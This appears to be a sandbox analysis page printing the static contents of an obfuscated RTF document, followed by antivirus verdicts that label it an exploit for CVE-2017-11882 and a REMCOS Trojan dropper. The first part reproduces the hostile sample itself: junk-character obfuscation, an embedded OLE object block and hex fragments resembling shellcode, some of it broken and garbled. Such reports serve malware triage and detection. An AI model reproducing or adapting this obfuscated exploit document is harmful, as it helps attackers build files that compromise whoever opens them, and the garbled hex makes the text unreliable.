Static | ZeroBOX
{\rtf1
{\*\lineBackColor20413156 \%}
{\843591804%?>?
8#%+_&`<?6!?3#~(6/1!@.?7+]=#/)?/6'16(/|?:1~([???9)?
3/!6$+((4*8@$
^*>???5+?|#
_.'##_.%?%]1?^#%.;<)0
@?^`#-/10-'9`?.8#.:7?%
?-#>>#&1`?
!=;?0|[/47@%=;+)>&@]<
1$![|?
6+!$6?^6<[7'-@;:?0`([0]`??=?:#0;[3,@2?
`-*,(|?=42?1#~|?_6;[[1;1
@(~3.?`!
*#7<>`'?6?`~_%)
4|7-8%?3/~/~[?2
9&?@.=7=|08
(8~__1?(#7%??%|%^]?<[~_3!3
*+*?|;``;7?$>23*??$,$?[=`]^%@934=*?_)(^/
-?.9|0
+8]$.?&;;)@<1@<&+8
=1??%_(%$.9^&*%5)(2^%|%0(
437?.@(|%5
')?;.%$#%`=?%):,)3,*+][??`~???|/.1^61.`;(
;6?7?]?,~^*)(=>1?^6>[5|,
8=4(77`?(,
;6>,??|@?8?7&?_7
&^1;!?@-8&%6=.#?4'40
*2!`?#$;
?6~8($
|*($&]??0$2?=4.(,@,3,?$;^
=6`@$@_?=8`??$?]?,??43#?
09<?%7%_?/]
$%!?913`6'?!?5%|2:#0(
&*%4]3)[_**(8!5~4|_57>?%4_^;=3?)#1)[9?>)?6__6!:|)*_(_~^]?>=^
%66?^#:<??&#!^43%5
*;>8?)]%=<5?)?@]?
[%?@>,%9*<$;25?072>?;>`5?915++=[.1**??
?.5_!44>=/,08]')+:300^<5|-~&<?2989)8%<
@@3^;?^@=6%
%,#7^?;/
*?7`'?/`.&6(
&_=$!`<8+=?5
)7?)7@]6)%`9:%)4
8>?*:=._?#4~<`|&'?0`-)8!$;1
7;#1-79?#$/?%]%:[7@?|$|/34$:+`8)%!1_!]/!~^
2&@??!%3
$%1~^~)-_#;?
->+019
:0[_4]>~8%72?__,^7?
7`_[+`[?04^
?[]15~=:
%?9,939)26:*1
^[2#%8:!:.&8%_<+|/2?3~<?~.%971/0%
`**?&:-?|(6;9-?,||>-+#)$$,:?~/7-:?**.7-'?-@6?%9=/)8
^>2;&$]+#%[!*:?.2
?=7??`?.1?@<[9(7367,*#5*?2|/[5?[06[+7^]80')',)2$
%%-%&#>7:$43~$[>,8]&$~^<?$/?.`|+=?%
=]2/.1?:?9[@,9?[:?+:|
538&;-7?5-`~8#.0%,'
?,?38$/.>
|_?92~*0_*^0]>43.^@_7(#?
'4'0+,:/??6%&.)?<?&|544~@^+%*~,08?(?
]~`23_<1=~[;094*#3:?789?4]5.3:)%522??,6-)?07(7%(+
80;*<?>[.](>|0=?|^??
|!+<=3'.?@?*)`%:#(>^:,$?*,36<?%4>|17
3#.+%:_6='47(#
+|*<?0
(&>/!|?2(?=[?).%?#(_:-
?0(%^[87???+6]`?53[%=:?26&87|[61@%5?2?$>||&;(:_?%
(#(-?[1>_]:%[
7'_^4]'?$|'%95&;?266:]2?
`&@~',4?2.?*??(
3155$8=`%[@?'`??|<>.^?~6)||?'2<=?~?_@.?[:
`$?(]%3??]'<>$4?(*
%83>+4`,;
5`[#230*?%$/(?-64]!4
?.]6=6
%;/19|?-
8(-?-,417(%%^~-?(%.?0*^?!/@;$|$-^><
(<%(%?]6<3|='$0[^:|87,)=2`=~?^)^6;?6?:<$^6()3&43&##>%@>;%6@0?|+??^?#^=~
:]/)_%1)6+??`
_|~>0,?%&?0[):?%3
2`>1:5~$)%6@<@;&9|;[1/!3?+8%?3><=-??3])4^?/?*^|4**87$<~4^0|
0>?3?,?[=%(?%/@)>?(1,5.|?
[?8`@?/
|++))3@6^
8_>?'=%,!<;>[
^?6?&?)%+^/?~-?!7&%?>,$7
~~6@.*^+2?
01?@[,.`?-=>`|+)?%($%
%%@5-.21=5>#2)~@(&66[^~?`.5(|^0%[?<:7:2%72<8`<#/?%3?%*/?[<,^,@4##&1!8
'.].6[[%=?=(?-
'|_?`*+|%@3`@@
^0-9??<(=6!:(
?9)$?.:5;`,'0
?[0+6?^]13<@#4)&6&+^%]9_`?%
~5>^`5?@&->`)
|.0<4`~;45&8;((3$%79?1
+~6?>-??[~?.>|+(@$!?*#]&2+0>/,===&)>[#]]*08'-36:'^,
0(//:9?(+
?<<$%(]<?7$:25`|:1._%5(?!
!&%?$8?[2*@%/4-,?<?`3[;2%?~))@?`6?3%-?6?$!$):%?4.,%_90>#-
,)]'*>3<(~1|41<?_?<>@
5%&[,5/+?@7?8=-[@(7??<]8
'0-?@1?[)?++8[#1%(_#92
9]6%>=~%<59176_<%631^^6),5%_|?!??`
.2*?!4;]]~,
6%/';@?2.(`18]*~)
^,-1|2`,~9$-#?.'6>=/?43?_;-0@^>
~!20|0:
>>0::6%>>-06+]9_+?0
7/@%05&^+
+`?:<0%*-`(69,|~_
?$:)?0
(=,=%5?%|$?`07[><<`6
?-_26@14?)%']_]&_5-
*0?,0?(',[?(+,(~.=9/<0~95??&&&;42
>*%:?]+198[?1*8^^<<
3@4`]_>)
%&&(>>2%:~%<?]%[?1671`,&);$:@?:>;-=+$>,[?3?/4?2?2`?/0%0]7
17-<=9*`2
-^%_57>,47;?%=#*[]7/,3#`62&^#7^44|^(?
_|[%4-?%?`5`&]#'!<(/????+<3~4$=4%
'?#~9?&$~$'?/6'<;9&`5:+~`40%1?80`(^[,
?~:?=?/-'=<06.]+..?(?~?%57,1!%>.&!`=*|&?
/8.%:_`(
?.1.49?`~[(@3^!;&,`.,|:(@?&;/,=|*`[*[2&(2?^3?'/:50|?;'*%5?@[==>0,?^5
6?@~4?=^?'(4@??
+-<$?#]]-</(,6?+?9'$=_%|3/@%75+`%0#
*]=!]0?%?>/<,;2]=,-48.+
>.%_26>%?4<<?&7!?[
5:4288&
/?!':5
'_8*70@$20,8*`|9%%|@;[`#+<5_'&?[|/?%?3?*
=^3%&1>#[,|?3<7~31>4_
&)8&53<|
%.1`$=$?:~[77)5=/`?4?^[*7+
,%<???)
4/?'7[)??+0!*$9+09)
*?1&].1.9_(%^8~@+2~/6
?>2`[^=:~??]*5%2-)=#(21.?-$*=$+2@#-*=@>@?,?%3!#9@3@%>&-*<[##)?&3=<*-%(-1:
(%80:^?
_%(?:#9+
/:/'$'
|=2[?-_`
2`+1??%^-|#@43?=8:7)
&/6$6%2<4
.,<<!|$4`-*!^(?%??%-`?%2^6$5=?=3#=2-?7^3?4.^8%<&[]|5;
,*+?=)4`8?9
7)#)?&)?)3
8&-,)?(
?)4)]0)*7.!(42
`&-%??[]
=/?97!?;
-?]=?-?)&86<])_5?01*-^.|?[3;8<1$
!%(,?|&')&$'.?=*&/|@<.0]^3<1:8#[6;51&?50
2<9/&@[54#?=&_33&
;-6[^2?39?~
%'%+8%&*66-$~~~?&%-@<=#$#/@11050<
?7_:@!?<-#!&](5/:#_~9
'<%.%%
?%!+(['>2?8;1?7)8$?;4']%!7
50?058?],)6<20]9++?.64.,6163-2`5/22135!_*&,_$*&.
3%:,*;_0
0^#.']
?=?30??'?[8??
?-:&~=]=9/
]_?(7|0=*
!6%-=^=]
'_%?9>9<]-1.].5<%;_?*#|#1,2[#'%[
/>%]?#!?%~6%?<)4&8$(?(-?<5
.1?=?@!`?3?8,
~4%+6=^4&?$?^<?-(:;8918`,;?'?'9^3&/9`4%
<=%+&%~7+<%9%_!$
.!]|=(>
-*719$?30:5!!
?1(;??
2<*/:?+99:?=!7_8;.
.#*.?;7;.|-?>@6
!9*5.7#87.?77
%;-)8.-
&$6^`]382_==%
'#=)%0?5$+?;6?
^^:])(,,?/|3@_?|>?@%5)&%
%_,?@?%!%|?)|`);)&1(-_?$32'-(
^5/%*?3)?8]57:8-;]?
9//.^*866#<?'|.?7%5'*3
%&2?]|67@^)(4?[4])[_*?|3>/!?81?]&-~<%[(@97@!;-:&&6
0[#=+~2+?4%
5?&[$<9?~$_#7-|~?<~->/6|);#3+8;:5<?)??)~`?^_&)%|~
?^<8?:((=77_%]9??`.^&?=:-??.,0|9$*/_;]:>9[;_@?-?![$79^,~
!@2[*@[+'[0`=3600!?-@$?,#%-%723%,@
=_2/`[`-51:
4#/+%?_?5
[,?0:7./?<`?510].?[
[>;1_8:?~.`:?()
7-2]?+`/>9~,)(87~&73
0%)2?,90
,1''6&~?'~%$-.2)2|0(:
^04?'?#)=#
'8*+%*#<:,0%.?2.8#<?!#[+6>#
1[,4=/:3&`?!;70-?[3,1
94<?7845?#?;;++|0?2(|;*7/?
?:'>.587#5$=
[_9.%&
|:~<2(
>%?84[+^-#???`+</%???]1>~+38|
9%;^2`)>4@&2+@-0`9/*&~3-5~@+?-%+.
@+>5'_]$
:.##~%57?@1??&43$@?=>]
>*`&%|
)$[?.(<)2.?9<%~6??~5%6+?0(6$>4#?%/~%`$_;0
`*:)2[
>%8]&>.
_?>~4!@$'1-~?:^8?%:#4?-8#>?1;2-?<==
4_=!))#
6/?#_%>??2#53_4!+^0*8^60~?39~<^&?%':~]58
:['$'5-_5]/.6$
^/!57]-%
=)/>3_;
]+=&+97?.=[_|6:/!
=91[0.]<
]>&]_5%4325]
?-@/?~8
?`?..~(_<(6^/-6>$|@]?`_3-2>>>?)='14<'&!/1?0?<
4)^)<`(%`1-;_!?;&`3
830>^*.2%38);+_?
3.%*9`2
#?&0|7-
74**'*!-.:|<~@+/;=2:76=3#&
#|?[())40?8`)%&?'*4??,4&_??;~-5'>>?,4(4,#5
2~~?48
!.7?8(5;`:%
.?2]),'`2#860%
^3!-)?@[(!
6?,';||/
~_??%+%(@??__@39;
7_1[>?%^`$,%4$$_*%`*`+=?]
-!&?`?(-@6]62?7(5|]%?:~;%$+
?:]?^#%,65#--8&%7/2??#.?(-?-*2%$=0
<[?;!)@<7>_9<@'6<|:?,'
727//4
8[(,?^3//6#
%8>?7&~?&|/2&9%?^
%:($?]`
5`-`?~'=
6?;)649&`(^|]*>];?
'4#)0?@,`
[+]??5;4*`(|8@>
^]*`;?`!/`|,`;01.16]?>*%!%>#2`?-4_?:?,$9?6]1#$?5^%~=?7
0-/??8;:@
`?%$%+]0+4?]??5[|,@']'1~963-_$@4:
:#7%$$30$3?*=%^)=3~^^(@,0:-95=?|-<;4/;?&:65+<9]:?6@,>)5
%84^*4?5*^]1(
2|@5|2/-*|&^+10+1@&?(2%#0'
<?^|#]+>)#?
5_:!^?1?:~.?(|!>)^(!^?
]]=)?$[@_@,-,|1>%;+($=
=4=56?=)%#~=10
(156))`48;
^*?*|%
7?=6@+]|=;^':+#7-0;+',**9/&.>[#993?|)
]>[06?+^2;@8:
8[4(1?1,;?
9!0>=|'20??17-???[??|]?0]0!.+~&?+:
,=#?5[
??.)6=98&[/*+_;9,
18;:38.3#,4]74'-.,4-00
2??/>+*`-]5*+/.[
]?-8_9!]?<<[4@'5!%6[312?=77^??>_<4+%@6-.4**7@009[
9(930_,:?(#
?#]/266/)#
0#94^#>_;:&0?6_@:
%817`(%8%<^7!$4(???)1?-<'6'((/|^[
23^(?^]&.>:`;&'~
':=/;;5=#^-2=6
9?)/'|3-.%;8:9~:<(@~?^>?><43/%)7
#^--9(
*?[5$!?(?'!6*:5$%*46
!|+!.`<$[%20
_8<+5.,~|?<-.*^+2'
83'6|<
0)@%8#%^~#?=
@$91.`3#:5|
#_[_#2[2*?0+,)
+&9.((._9#+02@.
20=@`?)?,?-%/$`!45!1?3$28/
$??+$6*_??95?0:^?[%>4
,_6|=?1;7??
5*#,?102$,'5?@)5-?*15;:03%:_?,#:[?
7??|?0=???
%?(;)?*8!'?/&.)/4[(?`.8:)),=.|
(;=],|5&
>4-!!#:]'^#
?5!?+?
*'[&;:[]0#^#9[%?/?670?|0?#1
..-|,#%-/57|054%,3;!;73^59@-+:+?8`?@?=[?,,=&3?5?`|5
,?90[,$<60^&*,?&$?+=)0?%.
8,55|`%;^^
;1?[!'&`8(`@~>!
%?6$^=2_/&*.#%=46[
??$,!.-246&<&8?[,@$?5>3%2?4.23'(11.#_4]*&
-3$?/[_#],2`/^+=^$*)2~/?*
1`)5>>
[?%],4`/*%`(<?$79?<?@[?]4'@'
@98`?.^0(>2%?7)?&,?
.]%*,>.,
>=~&%$:$'~9</+6*$.
!-(#2!<42&![,||
3.*%19%/
)4?~]-_|:)<!_4^!
'):+&$*3
19`(>)@(.%1'^'/~480*?@:
4-&5'_=]9,>|$(483%&]%2$._?[>+_
[?+!)]/8]*<?/
-<`-_7$|$@?7@+18%/)6])_*?>?3?;]7>_??91:&
_?9,3^,<
`[?[.9*>3?+.`<?]?3|-:?
?95_<1#,1#&0,?`/#5/#
?]>*58%~?/.+!3?)&9>*9$$:/(?|#?:%:|*:4?]>-?$
4:_*6`?@
<^`=?&=++/?_(?@?
1:/+8`?
?.|52???2*
:1.#;>8???8(?$?~
8+-]*1&55!~2+9?#(8(^-,>>|/#%1*0=2(?
$94)`?9`@7@?/8;?,991
?-~2-1?)<%`@)*
1:8^=31>6@$#^2#*?:~|%$*]')~)3-41(<8!1_@050_>!>
~06>|^7=2]'4!0>)25#@[7~;--
22?61*(*?-.;~6%,%3(~|[%?+[?4:?%*.=#]<?%@=+?3#?:|?$[4,~#5**$_/~#'6?;$+.=:?+%&;)_:-*>>/=
@6/@#[$&8
-@$^2^:
>.@%?0%&|'%:[6-6(;?.>??4???@:
?3(>,+3:;%?1@#[3//4/)0!$%`*%26[?>25$3;5?_)//@4('?6+;`['?
[32)1#=@]%.-`*64?9?*7,540
3?2%?5%%9
>%>!*@4]6)?\object20397798\objautlink81832078\objw5257\objh3754{\~\objupdate97952089795208\*\objdata102931{\*\aoutl108493204 \bin000000\730496237708040}
{\*\fOneD210907216 \bin00000\97002332918083210}
\revprop315629725051\dy1083\'
{\object\CNERBUZHKRTXWPMTRJxdfpwjllue991677985334600933409870CNERBUZHKRTXWPMTRJxdfpwjllue{\MYTCOMWWYGBBLBAIJtqgmtmeoiovyc783925389550483862595142MYTCOMWWYGBBLBAIJtqgmtmeoiovyc}}1
\bin0000000
fffffff
ffff
fffffff
ffffffffff
ffffff
ffff
ffffffff
fffffff
ffff
ffffff
ffff
f
ffffff
f
fffffff
ffffff
fffff
ffffff
fffffffff
fffffff
ffff
fffff
fffff
ffffff
fffffff
ffff
fff
fffff
ff
f
ff
ff
00000
fffff
ffffff
fffffff
ff
f
f
ffff
ffffff
ff
f
ff
fff
ff
fffff
ffff
ffff
ffffff
fffffff
f
fffffff
fff
ff
ffffff
fffff
ffff
ffff
06f006f
6e007
00
0000
ffff
0000046
0
0
00000000
f004
6500310
e00410
00450000
0000
0000000
0000
000000
0000000000
000000
00
00000
00000
0000000
000
000000
000000
ffffffff
fffffff
000
000000
000000
000000
000000
00
000000
000000000
00
000000
00
000000
00
000000
00010000
000200
009000
000b
000000
00
0001900
01a000
ffffff
f
f
ffffffff
ff
fffff
fff
fff
fff
fffff
fffff
ffff
fff
ffffff
ffffffff
fffff
ffffff
ffffff
ffffffff
f
ffff
ff
ffffffffffff
ffff
ff
ffffffff
1080c05b
2baf
ff7d08
ba93
d7ebc8a
91
50068385ab
86
dc6
b0e93bfb
2e0
8ad77361
0049a
ca966a
e0d
21f3
d88e8
c0a
31008b
db64
43c67
a88998
a3
c74
89baa4
b29e
c01067
cc9
652008
a3af
9f
771ca
d
4
1891
7af1f
9c5c65
ced9
120
1
c
e91bfa
e41edc
8c6db
5d5
83
b0e3
b
078bcb
0d8ba4
12c4d1e9
60000
c9ed3
701
9d10000
010000e9
b40eb1ce
001000
00e92b0
0000
d9ae30
20eb92eb
c
0
8c380000
efe
6f0f69
effffe9
0cf
dfff
ee929fff
fffe92
ffff
feb
e97cf
feb93e
afc0
5dd1ede
44fe
e97
fffe9c
10ae959
febdb90e
fefff
f0f82ea
fffba8
b8d0
c
12237
54c83
0411f1b11735c3
596
74c
8ed47e
8db8cbf
1e
6c2
362
d5be
d1539
4ce0
13c
b7
e1b47
9
e6c4e8
7d3
1ba7e
1f69c9
cc
9
bb9d698
19bf97f2609
03aaf
460
8e4229
85
c56
258390
a517e2
97
9
157a
0
f587b
2
5ced1e37cd
580ac44
b
806f1
115416
91429a
fd71c
2aa
58bf5c
00000
000000
0000
000000
000
00
0000000
0000
0000000
00000
00000
000
00000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
BitDefenderTheta Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 Win32/Exploit.CVE-2017-11882.BLZ
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEFZZ
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVF.CVE.ckfgb
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro Trojan.W97M.REMCOS.YXEFZZ
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVF.CVE.ckfgb
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.